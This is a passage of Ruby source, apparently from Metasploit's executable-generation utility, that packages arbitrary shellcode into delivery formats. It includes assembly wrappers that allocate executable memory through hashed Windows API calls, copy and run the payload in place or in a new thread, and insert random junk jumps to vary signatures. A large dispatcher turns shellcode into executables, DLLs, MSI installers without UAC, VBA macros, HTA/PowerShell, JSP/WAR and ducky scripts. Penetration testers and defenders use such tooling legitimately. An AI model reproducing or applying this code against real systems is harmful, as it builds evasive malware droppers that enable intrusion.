def self.to_dotnetmem(base=0x12340000, data="", opts = {})
1754
1755
# Allow the user to specify their own DLL template
1756
set_template_default(opts, "dotnetmem.dll")
1757
1758
pe = self.get_file_contents(opts[:template])
1759
1760
# Configure the image base
1761
base_offset = opts[:base_offset] || 180
1762
pe[base_offset, 4] = [base].pack('V')
1763
1764
# Configure the TimeDateStamp
1765
timestamp_offset = opts[:timestamp_offset] || 136
1766
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
1767
1768
# XXX: Unfortunately we cant make this RWX only RX
1769
# Mark this segment as read-execute AND writable
1770
# pe[412,4] = [0xe0000020].pack("V")
1771
1772
# Write the data into the .text segment
1773
text_offset = opts[:text_offset] || 0x1065
1774
text_max = opts[:text_max] || 0x8000
1775
pack = opts[:pack] || 'a32768'
1776
pe[text_offset, text_max] = [data].pack(pack)
1777
1778
# Generic a randomized UUID
1779
uuid_offset = opts[:uuid_offset] || 37656
1780
pe[uuid_offset,16] = Rex::Text.rand_text(16)
1781
1782
pe
1783
end
1784
1785
# self.encode_stub
1786
#
1787
# @param framework [Msf::Framework]
1788
# @param arch [String]
1789
# @param code [String]
1790
# @param platform [String]
1791
# @param badchars [String]
1792
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
1793
return code unless framework.encoders
1794
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
1795
begin
1796
enc = framework.encoders.create(name)
1797
raw = enc.encode(code, badchars, nil, platform)
1798
return raw if raw
1799
rescue
1800
end
1801
end
1802
nil
1803
end
1804
1805
def self.generate_nops(framework, arch, len, opts = {})
1806
opts['BadChars'] ||= ''
1807
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
1808
1809
return nil unless framework.nops
1810
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
1811
begin
1812
nop = framework.nops.create(name)
1813
raw = nop.generate_sled(len, opts)
1814
return raw if raw
1815
rescue
1816
# @TODO: stop rescuing everying on each of these, be selective
1817
end
1818
end
1819
nil
1820
end
1821
1822
# This wrapper is responsible for allocating RWX memory, copying the
1823
# target code there, setting an exception handler that calls ExitProcess
1824
# and finally executing the code.
1825
def self.win32_rwx_exec(code)
1826
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1827
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1828
arch: ARCH_X86,
1829
name: 'api_call'
1830
)
1831
1832
stub_exit = %Q^
1833
; Input: EBP must be the address of 'api_call'.
1834
; Output: None.
1835
; Clobbers: EAX, EBX, (ESP will also be modified)
1836
; Note: Execution is not expected to (successfully) continue past this block
1837
1838
exitfunk:
1839
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
1840
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
1841
mov eax, ebp
1842
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
1843
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1844
jl goodbye ; Then just call the exit function...
1845
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1846
jne goodbye ;
1847
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1848
goodbye: ; We now perform the actual call to the exit function
1849
push byte 0 ; push the exit function parameter
1850
push ebx ; push the hash of the exit function
1851
call ebp ; call EXITFUNK( 0 );
1852
^
1853
1854
stub_alloc = %Q^
1855
cld ; Clear the direction flag.
1856
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1857
delta: ;
1858
#{stub_block}
1859
start: ;
1860
pop ebp ; Pop off the address of 'api_call' for calling later.
1861
1862
allocate_size:
1863
mov esi, #{code.length}
1864
1865
allocate:
1866
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1867
push 0x1000 ; MEM_COMMIT
1868
push esi ; Push the length value of the wrapped code block
1869
push byte 0 ; NULL as we dont care where the allocation is.
1870
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
1871
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1872
1873
mov ebx, eax ; Store allocated address in ebx
1874
mov edi, eax ; Prepare EDI with the new address
1875
mov ecx, esi ; Prepare ECX with the length of the code
1876
call get_payload
1877
got_payload:
1878
pop esi ; Prepare ESI with the source to copy
1879
rep movsb ; Copy the payload to RWX memory
1880
call set_handler ; Configure error handling
1881
1882
exitblock:
1883
#{stub_exit}
1884
set_handler:
1885
xor eax,eax
1886
push dword [fs:eax]
1887
mov dword [fs:eax], esp
1888
call ebx
1889
jmp exitblock
1890
^
1891
1892
stub_final = %Q^
1893
get_payload:
1894
call got_payload
1895
payload:
1896
; Append an arbitrary payload here
1897
^
1898
1899
stub_alloc.gsub!('short', '')
1900
stub_alloc.gsub!('byte', '')
1901
1902
wrapper = ""
1903
# regs = %W{eax ebx ecx edx esi edi ebp}
1904
1905
cnt_jmp = 0
1906
stub_alloc.each_line do |line|
1907
line.gsub!(/;.*/, '')
1908
line.strip!
1909
next if line.empty?
1910
1911
wrapper << "nop\n" if rand(2) == 0
1912
1913
if rand(2) == 0
1914
wrapper << "jmp autojump#{cnt_jmp}\n"
1915
1.upto(rand(8)+8) do
1916
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1917
end
1918
wrapper << "autojump#{cnt_jmp}:\n"
1919
cnt_jmp += 1
1920
end
1921
wrapper << line + "\n"
1922
end
1923
1924
wrapper << stub_final
1925
1926
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1927
enc.data + code
1928
end
1929
1930
# This wrapper is responsible for allocating RWX memory, copying the
1931
# target code there, setting an exception handler that calls ExitProcess,
1932
# starting the code in a new thread, and finally jumping back to the next
1933
# code to execute. block_offset is the offset of the next code from
1934
# the start of this code
1935
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1936
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1937
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1938
arch: ARCH_X86,
1939
name: 'api_call'
1940
)
1941
1942
stub_exit = %Q^
1943
; Input: EBP must be the address of 'api_call'.
1944
; Output: None.
1945
; Clobbers: EAX, EBX, (ESP will also be modified)
1946
; Note: Execution is not expected to (successfully) continue past this block
1947
1948
exitfunk:
1949
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
1950
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
1951
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1952
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1953
jl goodbye ; Then just call the exit function...
1954
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1955
jne goodbye ;
1956
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1957
goodbye: ; We now perform the actual call to the exit function
1958
push byte 0 ; push the exit function parameter
1959
push ebx ; push the hash of the exit function
1960
call ebp ; call EXITFUNK( 0 );
1961
^
1962
1963
stub_alloc = %Q^
1964
pushad ; Save registers
1965
cld ; Clear the direction flag.
1966
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1967
delta: ;
1968
#{stub_block}
1969
start: ;
1970
pop ebp ; Pop off the address of 'api_call' for calling later.
1971
1972
allocate_size:
1973
mov esi,#{code.length}
1974
1975
allocate:
1976
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1977
push 0x1000 ; MEM_COMMIT
1978
push esi ; Push the length value of the wrapped code block
1979
push byte 0 ; NULL as we dont care where the allocation is.
1980
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
1981
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1982
1983
mov ebx, eax ; Store allocated address in ebx
1984
mov edi, eax ; Prepare EDI with the new address
1985
mov ecx, esi ; Prepare ECX with the length of the code
1986
call get_payload
1987
got_payload:
1988
pop esi ; Prepare ESI with the source to copy
1989
rep movsb ; Copy the payload to RWX memory
1990
call set_handler ; Configure error handling
1991
1992
exitblock:
1993
#{stub_exit}
1994
1995
set_handler:
1996
xor eax,eax
1997
; push dword [fs:eax]
1998
; mov dword [fs:eax], esp
1999
push eax ; LPDWORD lpThreadId (NULL)
2000
push eax ; DWORD dwCreationFlags (0)
2001
push eax ; LPVOID lpParameter (NULL)
2002
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
2003
push eax ; SIZE_T dwStackSize (0 for default)
2004
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
2005
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
2006
call ebp ; Spawn payload thread
2007
2008
pop eax ; Skip
2009
; pop eax ; Skip
2010
pop eax ; Skip
2011
popad ; Get our registers back
2012
; sub esp, 44 ; Move stack pointer back past the handler
2013
^
2014
2015
stub_final = %Q^
2016
get_payload:
2017
call got_payload
2018
payload:
2019
; Append an arbitrary payload here
2020
^
2021
2022
2023
stub_alloc.gsub!('short', '')
2024
stub_alloc.gsub!('byte', '')
2025
2026
wrapper = ""
2027
# regs = %W{eax ebx ecx edx esi edi ebp}
2028
2029
cnt_jmp = 0
2030
cnt_nop = 64
2031
2032
stub_alloc.each_line do |line|
2033
line.gsub!(/;.*/, '')
2034
line.strip!
2035
next if line.empty?
2036
2037
if cnt_nop > 0 && rand(4) == 0
2038
wrapper << "nop\n"
2039
cnt_nop -= 1
2040
end
2041
2042
if cnt_nop > 0 && rand(16) == 0
2043
cnt_nop -= 2
2044
cnt_jmp += 1
2045
2046
wrapper << "jmp autojump#{cnt_jmp}\n"
2047
1.upto(rand(8)+1) do
2048
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
2049
cnt_nop -= 1
2050
end
2051
wrapper << "autojump#{cnt_jmp}:\n"
2052
end
2053
wrapper << line + "\n"
2054
end
2055
2056
# @TODO: someone who knows how to use metasm please explain the right way to do this.
2057
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
2058
wrapper << stub_final
2059
2060
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
2061
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
2062
res = enc.data + code
2063
2064
if which_offset == 'start'
2065
res[soff,4] = [block_offset - (soff + 4)].pack('V')
2066
elsif which_offset == 'end'
2067
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
2068
else
2069
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
2070
end
2071
res
2072
end
2073
2074
2075
#
2076
# Generate an executable of a given format suitable for running on the
2077
# architecture/platform pair.
2078
#
2079
# This routine is shared between msfvenom, rpc, and payload modules (use
2080
# <payload>)
2081
#
2082
# @param framework [Framework]
2083
# @param arch [String] Architecture for the target format; one of the ARCH_*
2084
# constants
2085
# @param plat [#index] platform
2086
# @param code [String] The shellcode for the resulting executable to run
2087
# @param fmt [String] One of the executable formats as defined in
2088
# {.to_executable_fmt_formats}
2089
# @param exeopts [Hash] Passed directly to the appropriate method for
2090
# generating an executable for the given +arch+/+plat+ pair.
2091
# @return [String] An executable appropriate for the given
2092
# architecture/platform pair.
2093
# @return [nil] If the format is unrecognized or the arch and plat don't
2094
# make sense together.
2095
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2096
# For backwards compatibility with the way this gets called when
2097
# generating from Msf::Simple::Payload.generate_simple
2098
if arch.kind_of? Array
2099
output = nil
2100
arch.each do |a|
2101
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
2102
break if output
2103
end
2104
return output
2105
end
2106
2107
# otherwise the result of this huge case statement is returned
2108
case fmt
2109
when 'asp'
2110
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2111
Msf::Util::EXE.to_exe_asp(exe, exeopts)
2112
when 'aspx'
2113
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
2114
when 'aspx-exe'
2115
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2116
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
2117
when 'dll'
2118
case arch
2119
when ARCH_X86,nil
2120
to_win32pe_dll(framework, code, exeopts)
2121
when ARCH_X64
2122
to_win64pe_dll(framework, code, exeopts)
2123
end
2124
when 'exe'
2125
case arch
2126
when ARCH_X86,nil
2127
to_win32pe(framework, code, exeopts)
2128
when ARCH_X64
2129
to_win64pe(framework, code, exeopts)
2130
end
2131
when 'exe-service'
2132
case arch
2133
when ARCH_X86,nil
2134
to_win32pe_service(framework, code, exeopts)
2135
when ARCH_X64
2136
to_win64pe_service(framework, code, exeopts)
2137
end
2138
when 'exe-small'
2139
case arch
2140
when ARCH_X86,nil
2141
to_win32pe_old(framework, code, exeopts)
2142
when ARCH_X64
2143
to_win64pe(framework, code, exeopts)
2144
end
2145
when 'exe-only'
2146
case arch
2147
when ARCH_X86,nil
2148
to_winpe_only(framework, code, exeopts)
2149
when ARCH_X64
2150
to_winpe_only(framework, code, exeopts, arch)
2151
end
2152
when 'msi'
2153
case arch
2154
when ARCH_X86,nil
2155
exe = to_win32pe(framework, code, exeopts)
2156
when ARCH_X64
2157
exe = to_win64pe(framework, code, exeopts)
2158
end
2159
exeopts[:uac] = true
2160
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2161
when 'msi-nouac'
2162
case arch
2163
when ARCH_X86,nil
2164
exe = to_win32pe(framework, code, exeopts)
2165
when ARCH_X64
2166
exe = to_win64pe(framework, code, exeopts)
2167
end
2168
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2169
when 'elf'
2170
if elf? code
2171
return code
2172
end
2173
if !plat || plat.index(Msf::Module::Platform::Linux)
2174
case arch
2175
when ARCH_X86,nil
2176
to_linux_x86_elf(framework, code, exeopts)
2177
when ARCH_X64
2178
to_linux_x64_elf(framework, code, exeopts)
2179
when ARCH_AARCH64
2180
to_linux_aarch64_elf(framework, code, exeopts)
2181
when ARCH_ARMLE
2182
to_linux_armle_elf(framework, code, exeopts)
2183
when ARCH_MIPSBE
2184
to_linux_mipsbe_elf(framework, code, exeopts)
2185
when ARCH_MIPSLE
2186
to_linux_mipsle_elf(framework, code, exeopts)
2187
when ARCH_RISCV32LE
2188
to_linux_riscv32le_elf(framework, code, exeopts)
2189
when ARCH_RISCV64LE
2190
to_linux_riscv64le_elf(framework, code, exeopts)
2191
end
2192
elsif plat && plat.index(Msf::Module::Platform::BSD)
2193
case arch
2194
when ARCH_X86,nil
2195
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2196
when ARCH_X64
2197
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
2198
end
2199
elsif plat && plat.index(Msf::Module::Platform::Solaris)
2200
case arch
2201
when ARCH_X86,nil
2202
to_solaris_x86_elf(framework, code, exeopts)
2203
end
2204
end
2205
when 'elf-so'
2206
if elf? code
2207
return code
2208
end
2209
if !plat || plat.index(Msf::Module::Platform::Linux)
2210
case arch
2211
when ARCH_X86
2212
to_linux_x86_elf_dll(framework, code, exeopts)
2213
when ARCH_X64
2214
to_linux_x64_elf_dll(framework, code, exeopts)
2215
when ARCH_ARMLE
2216
to_linux_armle_elf_dll(framework, code, exeopts)
2217
when ARCH_AARCH64
2218
to_linux_aarch64_elf_dll(framework, code, exeopts)
2219
when ARCH_RISCV32LE
2220
to_linux_riscv32le_elf_dll(framework, code, exeopts)
2221
when ARCH_RISCV64LE
2222
to_linux_riscv64le_elf_dll(framework, code, exeopts)
2223
end
2224
end
2225
when 'macho', 'osx-app'
2226
if macho? code
2227
macho = code
2228
else
2229
macho = case arch
2230
when ARCH_X86,nil
2231
to_osx_x86_macho(framework, code, exeopts)
2232
when ARCH_X64
2233
to_osx_x64_macho(framework, code, exeopts)
2234
when ARCH_ARMLE
2235
to_osx_arm_macho(framework, code, exeopts)
2236
when ARCH_PPC
2237
to_osx_ppc_macho(framework, code, exeopts)
2238
when ARCH_AARCH64
2239
to_osx_aarch64_macho(framework, code, exeopts)
2240
end
2241
end
2242
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
2243
when 'vba'
2244
Msf::Util::EXE.to_vba(framework, code, exeopts)
2245
when 'vba-exe'
2246
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2247
Msf::Util::EXE.to_exe_vba(exe)
2248
when 'vba-psh'
2249
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
2250
when 'vbs'
2251
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2252
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
2253
when 'loop-vbs'
2254
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2255
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
2256
when 'jsp'
2257
arch ||= [ ARCH_X86 ]
2258
tmp_plat = plat.platforms if plat
2259
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2260
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2261
Msf::Util::EXE.to_jsp(exe)
2262
when 'war'
2263
arch ||= [ ARCH_X86 ]
2264
tmp_plat = plat.platforms if plat
2265
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2266
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2267
Msf::Util::EXE.to_jsp_war(exe)
2268
when 'psh'
2269
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
2270
when 'psh-net'
2271
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
2272
when 'psh-reflection'
2273
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
2274
when 'psh-cmd'
2275
Msf::Util::EXE.to_powershell_command(framework, arch, code)
2276
when 'hta-psh'
2277
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
2278
when 'python-reflection'
2279
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
2280
when 'ducky-script-psh'
2281
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
2282
end
2283
end
2284
2285
# FMT Formats
2286
# self.to_executable_fmt_formats
2287
# @return [Array] Returns an array of strings
2288
def self.to_executable_fmt_formats
2289
[
2290
"asp",
2291
"aspx",
2292
"aspx-exe",
2293
"axis2",
2294
"dll",
2295
"ducky-script-psh",
2296
"elf",
2297
"elf-so",
2298
"exe",
2299
"exe-only",
2300
"exe-service",
2301
"exe-small",
2302
"hta-psh",
2303
"jar",
2304
"jsp",
2305
"loop-vbs",
2306
"macho",
2307
"msi",
2308
"msi-nouac",
2309
"osx-app",
2310
"psh",
2311
"psh-cmd",
2312
"psh-net",
2313
"psh-reflection",
2314
"python-reflection",
2315
"vba",
2316
"vba-exe",
2317
"vba-psh",
2318
"vbs",
2319
"war"
2320
]
2321
end
2322
2323
# self.get_file_contents
2324
#
2325
# @param perms [String]
2326
# @param file [String]
2327
# @return [String]
2328
def self.get_file_contents(file, perms = "rb")
2329
contents = ''
2330
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
2331
contents
2332
end
2333
2334
# self.find_payload_tag
2335
#
2336
# @param mo [String]
2337
# @param err_msg [String]
2338
# @raise [RuntimeError] if the "PAYLOAD:" is not found
2339
# @return [Integer]
2340
def self.find_payload_tag(mo, err_msg)
2341
bo = mo.index('PAYLOAD:')
2342
unless bo
2343
raise RuntimeError, err_msg
2344
end
2345
bo
2346
end
2347
2348
def self.elf?(code)
2349
code[0..3] == "\x7FELF"
2350
end
2351
2352
def self.macho?(code)
2353
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
2354
end
2355
2356
end
2357
end
2358
end
2359
2360